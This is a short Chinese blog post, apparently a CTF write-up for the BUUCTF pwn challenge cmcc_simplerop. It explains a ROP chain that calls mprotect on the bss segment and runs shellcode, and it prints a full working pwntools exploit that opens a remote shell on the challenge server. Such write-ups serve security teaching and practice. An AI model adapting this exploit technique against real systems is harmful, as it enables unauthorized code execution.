BUUCTF-PWN-cmcc_simplerop

最新推荐文章于 2022-03-17 22:48:05 发布

0kam1

最新推荐文章于 2022-03-17 22:48:05 发布

阅读量540

点赞数

分类专栏： CTF PWN 文章标签：信息安全

本文链接：https://blog.youkuaiyun.com/qq_41743240/article/details/105808642

版权

CTF 同时被 2 个专栏收录

12 篇文章

订阅专栏

PWN

5 篇文章

订阅专栏

本文详细介绍了如何利用ROP技术在BUUCTF-cmcc_simplerop题目中进行攻击。通过IDA反编译发现程序漏洞，使用mprotect方法修改bss段并执行shellcode，最终实现远程代码执行。文章提供了完整的exploit代码及执行效果。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

BUUCTF-cmcc_simplerop

开了NX

IDA反编译

程序非常简单,漏洞也一眼可见

程序里面没有system,这题解法非常多，这里使用mprotect方法修改bss段,执行shellcode

exploit:

#coding:utf-8
from pwn import *

#p=process('simplerop')
p=remote('node3.buuoj.cn',29617)
elf=ELF('simplerop')


#0x0809de85 : pop ebp ; pop esi ; pop edi ; ret
payload='a'*32+p32(elf.symbols['mprotect'])+p32(0x0809de85)+p32(0x080EB000)+p32(0x1000)+p32(0x7)+p32(elf.symbols['read'])+p32(0x0809de85)+p32(0)+p32(0x080EBF80)+p32(0x100)+p32(0x080EBF80)
p.sendlineafter('nput :',payload)
sleep(0.2)
payload=asm(shellcraft.sh())
p.sendline(payload)
p.interactive()

执行效果